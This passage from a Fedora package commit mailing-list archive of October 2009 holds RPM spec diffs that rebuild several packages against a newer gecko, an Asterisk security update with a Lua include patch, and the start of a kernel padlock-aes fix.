-%define gecko_version 1.9.0.14
+%define gecko_version 1.9.0.15
 
 Summary: HTML pages thumbnailer
 Name: gnome-web-photo
 Version: 0.3
-Release: 22%{?dist}
+Release: 23%{?dist}
 License: LGPLv2+
 Group: Applications/Internet
 URL: http://ftp.gnome.org/pub/GNOME/sources/gnome-web-photo/%{version}/
@@ -80,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gnome-web-photo
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.3-23
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.3-22
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:18:49 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:18:49 +0000 (UTC)
Subject: rpms/yelp/F-11 yelp.spec,1.161,1.162
Message-ID: <20091027151849.B7DB411C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/yelp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3010

Modified Files:
	yelp.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.26.0-8
- Rebuild against newer gecko



Index: yelp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yelp/F-11/yelp.spec,v
retrieving revision 1.161
retrieving revision 1.162
diff -u -p -r1.161 -r1.162
--- yelp.spec	9 Sep 2009 14:21:46 -0000	1.161
+++ yelp.spec	27 Oct 2009 15:18:49 -0000	1.162
@@ -11,7 +11,7 @@
 %define libxslt_version 1.1.4
 %define startup_notification_version 0.8
 %define rarian_version 0.7.0
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 
 %define pango_version 1.0.99
 %define desktop_file_utils_version 0.3-7
@@ -19,7 +19,7 @@
 Summary: Help browser for the GNOME desktop
 Name: yelp
 Version: 2.26.0
-Release: 7%{?dist}
+Release: 8%{?dist}
 Source: http://download.gnome.org/sources/yelp/2.26/%{name}-%{version}.tar.bz2
 URL: http://live.gnome.org/Yelp
 Patch1: yelp-2.15.5-fedora-docs.patch
@@ -148,6 +148,9 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/yelp
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.26.0-8
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.26.0-7
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:19:51 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:19:51 +0000 (UTC)
Subject: rpms/google-gadgets/F-10 google-gadgets.spec,1.17,1.18
Message-ID: <20091027151951.7C76811C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/google-gadgets/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3608

Modified Files:
	google-gadgets.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.10.5-11
- Rebuild against newer gecko



Index: google-gadgets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/google-gadgets/F-10/google-gadgets.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- google-gadgets.spec	9 Sep 2009 15:28:51 -0000	1.17
+++ google-gadgets.spec	27 Oct 2009 15:19:50 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           google-gadgets
 Version:        0.10.5
-Release:        10%{?dist}
+Release:        11%{?dist}
 Summary:        Google Gadgets for Linux
 
 Group:          User Interface/Desktops
@@ -189,6 +189,9 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.10.5-11
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.10.5-10
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:20:52 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:20:52 +0000 (UTC)
Subject: rpms/kazehakase/F-10 kazehakase.spec,1.83,1.84
Message-ID: <20091027152052.2221711C02BB@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/kazehakase/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4167

Modified Files:
	kazehakase.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.5.6-4.7
- Rebuild against newer gecko



Index: kazehakase.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kazehakase/F-10/kazehakase.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- kazehakase.spec	9 Sep 2009 18:15:00 -0000	1.83
+++ kazehakase.spec	27 Oct 2009 15:20:51 -0000	1.84
@@ -48,7 +48,7 @@ Version:	0.5.6
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-Release:	%{_release}%{?dist}.6
+Release:	%{_release}%{?dist}.7
 Summary:	Kazehakase browser using Gecko rendering engine
 
 Group:		Applications/Internet
@@ -311,6 +311,9 @@ desktop-file-install \
 %endif
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.5.6-4.7
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.5.6-4.6
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:21:36 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:21:36 +0000 (UTC)
Subject: rpms/Miro/F-10 Miro.spec,1.58,1.59
Message-ID: <20091027152136.3F18E11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/Miro/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4414

Modified Files:
	Miro.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.0.5-5
- Rebuild against newer gecko



Index: Miro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Miro/F-10/Miro.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- Miro.spec	9 Sep 2009 15:34:28 -0000	1.58
+++ Miro.spec	27 Oct 2009 15:21:36 -0000	1.59
@@ -1,11 +1,11 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
-%define gecko_ver 1.9.0.14
+%define gecko_ver 1.9.0.15
 
 Name:           Miro
 Version:        2.0.5
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Miro - Internet TV Player
 
 Group:          Applications/Multimedia
@@ -95,6 +95,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.0.5-5
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.0.5-4
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:22:30 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:22:30 +0000 (UTC)
Subject: rpms/mozvoikko/F-10 mozvoikko.spec,1.15,1.16
Message-ID: <20091027152230.C028411C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/mozvoikko/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4651

Modified Files:
	mozvoikko.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.9.5-15
- Rebuild against newer gecko



Index: mozvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mozvoikko/F-10/mozvoikko.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- mozvoikko.spec	9 Sep 2009 15:35:34 -0000	1.15
+++ mozvoikko.spec	27 Oct 2009 15:22:30 -0000	1.16
@@ -1,5 +1,5 @@
 # For the xulrunner unstable requires
-%define gecko_ver 1.9.0.14
+%define gecko_ver 1.9.0.15
 # These come from install.rdf
 %define firefox_app_id \{ec8030f7-c20a-464f-9b0e-13a3a9e97384\}
 %define firefox_ext_id \{b676e3ff-cda7-4e0c-b2b8-74e4bb40a67a\}
@@ -12,7 +12,7 @@
 
 Name:           mozvoikko
 Version:        0.9.5
-Release:        14%{?dist}
+Release:        15%{?dist}
 Summary:        Finnish Voikko spell-checker extension for Mozilla programs
 Group:          Applications/Internet
 License:        GPLv2+
@@ -70,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.9.5-15
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.9.5-14
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:23:28 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:23:28 +0000 (UTC)
Subject: rpms/mugshot/F-10 mugshot.spec,1.52,1.53
Message-ID: <20091027152328.9766311C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/mugshot/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4888

Modified Files:
	mugshot.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.2.2-14
- Rebuild against newer gecko



Index: mugshot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mugshot/F-10/mugshot.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- mugshot.spec	9 Sep 2009 15:36:32 -0000	1.52
+++ mugshot.spec	27 Oct 2009 15:23:28 -0000	1.53
@@ -3,7 +3,7 @@
 
 Name:           mugshot
 Version:        1.2.2
-Release:        13%{?dist}
+Release:        14%{?dist}
 Summary:        Companion software for mugshot.org
 
 Group:          Applications/Internet
@@ -172,6 +172,9 @@ fi
 %{_sysconfdir}/gconf/schemas/*.schemas
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.2.2-14
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 1.2.2-13
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:27:10 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:27:10 +0000 (UTC)
Subject: rpms/pcmanx-gtk2/F-10 pcmanx-gtk2.spec,1.22,1.23
Message-ID: <20091027152710.F047E11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/pcmanx-gtk2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5464

Modified Files:
	pcmanx-gtk2.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.3.8-14
- Rebuild against newer gecko



Index: pcmanx-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pcmanx-gtk2/F-10/pcmanx-gtk2.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- pcmanx-gtk2.spec	9 Sep 2009 15:40:06 -0000	1.22
+++ pcmanx-gtk2.spec	27 Oct 2009 15:27:10 -0000	1.23
@@ -2,12 +2,12 @@
 # We hardcode this here because everytime xulrunner increments
 # it tends to break things that depend on it.
 %define xulmajorver 1.9
-%define xulver 1.9.0.14
+%define xulver 1.9.0.15
 
 Summary:   Telnet client designed for BBS browsing
 Name:      pcmanx-gtk2
 Version:   0.3.8
-Release:   13%{?dist}
+Release:   14%{?dist}
 License:   GPLv2+
 Group:     Applications/Internet
 Source0:   http://pcmanx.csie.net/release/%{name}-%{version}.tar.bz2
@@ -128,6 +128,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/mozilla/plugins/
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.3.8-14
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.3.8-13
 - Rebuild against newer gecko
 



From jcollie at fedoraproject.org  Tue Oct 27 15:27:41 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Tue, 27 Oct 2009 15:27:41 +0000 (UTC)
Subject: rpms/asterisk/F-12
	0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch,
	NONE, 1.1 .cvsignore, 1.23,
	1.24 0005-Build-using-external-libedit.patch, 1.7,
	1.8 asterisk.spec, 1.59, 1.60 sources, 1.23,
	1.24 asterisk-strip.sh, 1.5, NONE
Message-ID: <20091027152741.549A411C00E6@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5661

Modified Files:
	.cvsignore 0005-Build-using-external-libedit.patch 
	asterisk.spec sources 
Added Files:
	0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch 
Removed Files:
	asterisk-strip.sh 
Log Message:
* Tue Oct 27 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.8-1
- Update to 1.6.1.8 to fix bug 531199:
-
- http://downloads.asterisk.org/pub/security/AST-2009-007.html
-
- A missing ACL check for handling SIP INVITEs allows a device to make
- calls on networks intended to be prohibited as defined by the "deny"
- and "permit" lines in sip.conf. The ACL check for handling SIP
- registrations was not affected.


0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch:
 pbx_lua.c |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE 0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch ---
>From a092080315b7bfa9b7d174b6114cb957ac1590d8 Mon Sep 17 00:00:00 2001
From: Jeffrey C. Ollie <jeff at ocjtech.us>
Date: Fri, 10 Oct 2008 11:54:10 -0500
Subject: [PATCH 08/15] Revert changes to pbx_lua from rev 126363 that cause some problems.

---
 pbx/pbx_lua.c |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/pbx/pbx_lua.c b/pbx/pbx_lua.c
index 6a600a4..a803bd5 100644
--- a/pbx/pbx_lua.c
+++ b/pbx/pbx_lua.c
@@ -42,9 +42,9 @@ ASTERISK_FILE_VERSION(__FILE__, "$Revision$")
 #include "asterisk/paths.h"
 #include "asterisk/hashtab.h"
 
-#include <lua5.1/lua.h>
-#include <lua5.1/lauxlib.h>
-#include <lua5.1/lualib.h>
+#include <lua.h>
+#include <lauxlib.h>
+#include <lualib.h>
 
 static char *config = "extensions.lua";
 static char *registrar = "pbx_lua";
-- 
1.6.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	8 Oct 2009 13:23:56 -0000	1.23
+++ .cvsignore	27 Oct 2009 15:27:40 -0000	1.24
@@ -1,3 +1,2 @@
-asterisk-developer-pubring.gpg
-asterisk-1.6.1.7-rc2.tar.gz
-asterisk-1.6.1.7-rc2.tar.gz.asc
+asterisk-1.6.1.8.tar.gz
+asterisk-1.6.1.8.tar.gz.asc

0005-Build-using-external-libedit.patch:
 build_tools/menuselect-deps.in |    1 +
 configure.ac                   |   22 ++++++++++++++++++++++
 main/Makefile                  |    8 +++++---
 main/cli.c                     |    3 ++-
 makeopts.in                    |    4 ++++
 5 files changed, 34 insertions(+), 4 deletions(-)

Index: 0005-Build-using-external-libedit.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/0005-Build-using-external-libedit.patch,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- 0005-Build-using-external-libedit.patch	8 Oct 2009 13:23:57 -0000	1.7
+++ 0005-Build-using-external-libedit.patch	27 Oct 2009 15:27:40 -0000	1.8
@@ -1,6 +1,6 @@
 Index: build_tools/menuselect-deps.in
 ===================================================================
---- build_tools/menuselect-deps.in	(revision 222649)
+--- build_tools/menuselect-deps.in	(revision 226061)
 +++ build_tools/menuselect-deps.in	(working copy)
 @@ -17,6 +17,7 @@
  IXJUSER=@PBX_IXJUSER@
@@ -12,9 +12,9 @@ Index: build_tools/menuselect-deps.in
  MISDN=@PBX_MISDN@
 Index: configure.ac
 ===================================================================
---- configure.ac	(revision 222649)
+--- configure.ac	(revision 226061)
 +++ configure.ac	(working copy)
-@@ -244,6 +244,7 @@
+@@ -232,6 +232,7 @@
  AST_EXT_LIB_SETUP([ISDNNET], [ISDN4Linux Library], [isdnnet])
  AST_EXT_LIB_SETUP([JACK], [Jack Audio Connection Kit], [jack])
  AST_EXT_LIB_SETUP([LDAP], [OpenLDAP], [ldap])
@@ -22,9 +22,9 @@ Index: configure.ac
  AST_EXT_LIB_SETUP([LTDL], [libtool], [ltdl])
  AST_EXT_LIB_SETUP([LUA], [Lua], [lua])
  AST_EXT_LIB_SETUP([MISDN], [mISDN User Library], [misdn])
-@@ -1605,6 +1606,27 @@
- AC_SUBST(GTK2_INCLUDE)
- AC_SUBST(GTK2_LIB)
+@@ -1593,6 +1594,27 @@
+ AST_EXT_LIB_CHECK([SDL_IMAGE], [SDL_image], [IMG_Load], [SDL_image.h], [${SDL_LIB}], [${SDL_INCLUDE}])
+ AST_EXT_LIB_CHECK([FFMPEG], [avcodec], [sws_getContext], [ffmpeg/avcodec.h], [-lpthread -lz -lm])
  
 +PBX_LIBEDIT=0
 +LIBEDIT_INCLUDE=-Ieditline/readline
@@ -47,12 +47,12 @@ Index: configure.ac
 +AC_SUBST(LIBEDIT_LIB)
 +AC_SUBST(LIBEDIT_OBJ)
 +
- AST_LIBCURL_CHECK_CONFIG([], [7.10.1])
- 
- AC_CONFIG_FILES([build_tools/menuselect-deps makeopts channels/h323/Makefile])
+ # possible places for video4linux version 1
+ AC_CHECK_HEADER([linux/videodev.h],
+ 	[AC_DEFINE_UNQUOTED([HAVE_VIDEODEV_H], 1, [Define to 1 if your system has linux/videodev.h.])])
 Index: main/Makefile
 ===================================================================
---- main/Makefile	(revision 222649)
+--- main/Makefile	(revision 226061)
 +++ main/Makefile	(working copy)
 @@ -129,6 +129,8 @@
  	$(CC) -g -o testexpr2 ast_expr2f.o ast_expr2.o -lm
@@ -82,7 +82,7 @@ Index: main/Makefile
  
 Index: main/cli.c
 ===================================================================
---- main/cli.c	(revision 222649)
+--- main/cli.c	(revision 226061)
 +++ main/cli.c	(working copy)
 @@ -34,6 +34,8 @@
  #include <ctype.h>
@@ -103,9 +103,9 @@ Index: main/cli.c
  /*!
 Index: makeopts.in
 ===================================================================
---- makeopts.in	(revision 222649)
+--- makeopts.in	(revision 226061)
 +++ makeopts.in	(working copy)
-@@ -249,3 +249,7 @@
+@@ -246,3 +246,7 @@
  
  # if poll is not present, let the makefile know.
  POLL_AVAILABLE=@HAS_POLL@


Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/asterisk.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- asterisk.spec	25 Oct 2009 04:45:50 -0000	1.59
+++ asterisk.spec	27 Oct 2009 15:27:40 -0000	1.60
@@ -1,8 +1,8 @@
-%define _rc 2
+#define _rc 2
 Summary: The Open Source PBX
 Name: asterisk
-Version: 1.6.1.7
-Release: 0.4%{?_rc:.rc%{_rc}}%{?dist}
+Version: 1.6.1.8
+Release: 1%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -12,12 +12,12 @@ Source1: asterisk-logrotate
 Source2: menuselect.makedeps
 Source3: menuselect.makeopts
 Source5: http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz.asc
-Source6: asterisk-developer-pubring.gpg
 
 Patch1:  0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
 Patch2:  0002-Modify-modules.conf-so-that-different-voicemail-modu.patch
 Patch5:  0005-Build-using-external-libedit.patch
 Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch
+Patch9:  0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch
 Patch11: 0011-Fix-up-some-paths.patch
 Patch12: 0012-Add-LDAP-schema-that-is-compatible-with-Fedora-Direc.patch
 
@@ -383,6 +383,7 @@ local filesystem.
 %patch2 -p0
 %patch5 -p0
 %patch8 -p0
+%patch9 -p1
 %patch11 -p0
 %patch12 -p1
 
@@ -497,6 +498,8 @@ rm -rf %{buildroot}%{_datadir}/asterisk/
 rm -rf %{buildroot}%{_sbindir}/hashtest
 rm -rf %{buildroot}%{_sbindir}/hashtest2
 
+rm -rf %{buildroot}%{_datadir}/asterisk/firmware/iax/*
+
 find doc/api/html -name \*.map -size 0 -delete
 
 %clean
@@ -990,6 +993,16 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Tue Oct 27 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.8-1
+- Update to 1.6.1.8 to fix bug 531199:
+-
+- http://downloads.asterisk.org/pub/security/AST-2009-007.html
+-
+- A missing ACL check for handling SIP INVITEs allows a device to make
+- calls on networks intended to be prohibited as defined by the "deny"
+- and "permit" lines in sip.conf. The ACL check for handling SIP
+- registrations was not affected.
+
 * Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.4.rc2
 - Add an AST_EXTRA_ARGS option to the init script
 - have the init script to cd to /var/spool/asterisk to prevent annoying message


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	8 Oct 2009 13:23:57 -0000	1.23
+++ sources	27 Oct 2009 15:27:41 -0000	1.24
@@ -1,3 +1,2 @@
-dd089905d0ba9a514359dc2cf1a53303  asterisk-developer-pubring.gpg
-c25b294aa92b547fab5484bf436c9dd2  asterisk-1.6.1.7-rc2.tar.gz
-863d39c44b7ea1c6588535f1a56c2b1a  asterisk-1.6.1.7-rc2.tar.gz.asc
+98ed805d9c0579942b26e056506a62c0  asterisk-1.6.1.8.tar.gz
+f1ef4d98dadea6ee91f153f9180fea0a  asterisk-1.6.1.8.tar.gz.asc


--- asterisk-strip.sh DELETED ---



From xhorak at fedoraproject.org  Tue Oct 27 15:28:36 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:28:36 +0000 (UTC)
Subject: rpms/ruby-gnome2/F-10 ruby-gnome2.spec,1.52,1.53
Message-ID: <20091027152836.8232311C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/ruby-gnome2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5902

Modified Files:
	ruby-gnome2.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.19.3-2.1
- Rebuild against newer gecko



Index: ruby-gnome2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ruby-gnome2/F-10/ruby-gnome2.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- ruby-gnome2.spec	27 Sep 2009 09:43:13 -0000	1.52
+++ ruby-gnome2.spec	27 Oct 2009 15:28:36 -0000	1.53
@@ -8,7 +8,7 @@
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-%define         mainrel                2
+%define         mainrel                3
 
 # Note
 # Currently this spec file does not support libgda module.
@@ -1097,6 +1097,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.19.3-3
+- Rebuild against newer gecko
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.19.3-2
 - Fix crash when moving cursor on fantasdic 1.0 beta 7
   (ruby-gnome2-Bugs-2865895)



From xhorak at fedoraproject.org  Tue Oct 27 15:29:33 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:29:33 +0000 (UTC)
Subject: rpms/yelp/F-10 yelp.spec,1.157,1.158
Message-ID: <20091027152933.92C3A11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/yelp/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6125

Modified Files:
	yelp.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.24.0-14
- Rebuild against newer gecko



Index: yelp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yelp/F-10/yelp.spec,v
retrieving revision 1.157
retrieving revision 1.158
diff -u -p -r1.157 -r1.158
--- yelp.spec	9 Sep 2009 15:46:48 -0000	1.157
+++ yelp.spec	27 Oct 2009 15:29:33 -0000	1.158
@@ -12,7 +12,7 @@
 %define libxslt_version 1.1.4
 %define startup_notification_version 0.8
 %define rarian_version 0.7.0
-%define gecko_version 1.9.0.14
+%define gecko_version 1.9.0.15
 
 %define pango_version 1.0.99
 %define desktop_file_utils_version 0.3-7
@@ -20,7 +20,7 @@
 Summary: A system documentation reader from the Gnome project
 Name: yelp
 Version: 2.24.0
-Release: 13%{?dist}
+Release: 14%{?dist}
 Source: http://ftp.gnome.org/pub/GNOME/sources/yelp/2.24/%{name}-%{version}.tar.bz2
 URL: http://live.gnome.org/Yelp
 # http://bugzilla.gnome.org/show_bug.cgi?id=319096
@@ -157,6 +157,9 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/yelp
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.24.0-14
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.24.0-13
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:30:27 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:30:27 +0000 (UTC)
Subject: rpms/perl-Gtk2-MozEmbed/F-10 perl-Gtk2-MozEmbed.spec,1.10,1.11
Message-ID: <20091027153027.43D4111C0264@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6366

Modified Files:
	perl-Gtk2-MozEmbed.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.6
- Rebuild against newer gecko



Index: perl-Gtk2-MozEmbed.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/F-10/perl-Gtk2-MozEmbed.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-Gtk2-MozEmbed.spec	9 Sep 2009 15:48:10 -0000	1.10
+++ perl-Gtk2-MozEmbed.spec	27 Oct 2009 15:30:26 -0000	1.11
@@ -3,7 +3,7 @@
 %if 0%{?fedora} >= 11
 %define gecko_version 1.9.1
 %else
-%define gecko_version 1.9.0.14
+%define gecko_version 1.9.0.15
 %endif
 
 # Using specfilever cause dumpspec to only increase 
@@ -13,7 +13,7 @@
 Summary:       Interface to the Mozilla embedding widget
 Name:          perl-Gtk2-MozEmbed
 Version:       0.08
-Release:       %{specfilever}%{?dist}.5
+Release:       %{specfilever}%{?dist}.6
 
 Group:         Development/Libraries
 License:       LGPLv2+
@@ -89,6 +89,9 @@ find $RPM_BUILD_ROOT -type d -depth -exe
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.6
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.5
 - Rebuild against newer gecko
 



From cebbert at fedoraproject.org  Tue Oct 27 15:42:25 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 27 Oct 2009 15:42:25 +0000 (UTC)
Subject: rpms/kernel/F-12 crypto-via-padlock-fix-nano-aes.patch, NONE,
	1.1 kernel.spec, 1.1887, 1.1888
Message-ID: <20091027154225.754F911C00E6@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9686

Modified Files:
	kernel.spec 
Added Files:
	crypto-via-padlock-fix-nano-aes.patch 
Log Message:
Fix oops in VIA padlock-aes code.

crypto-via-padlock-fix-nano-aes.patch:
 padlock-aes.c |   10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

--- NEW FILE crypto-via-padlock-fix-nano-aes.patch ---
crypto: padlock-aes: Use the correct mask when checking whether copying is required

Masking with PAGE_SIZE is just wrong... and there's no need for the braces and return
statement either.

Signed-off-by: Chuck Ebbert <cebbert at redhat.com>

--- linux-2.6.31.noarch.orig/drivers/crypto/padlock-aes.c
+++ linux-2.6.31.noarch/drivers/crypto/padlock-aes.c
@@ -236,19 +236,17 @@ static inline void ecb_crypt(const u8 *i
 	/* Padlock in ECB mode fetches at least ecb_fetch_bytes of data.
 	 * We could avoid some copying here but it's probably not worth it.
 	 */
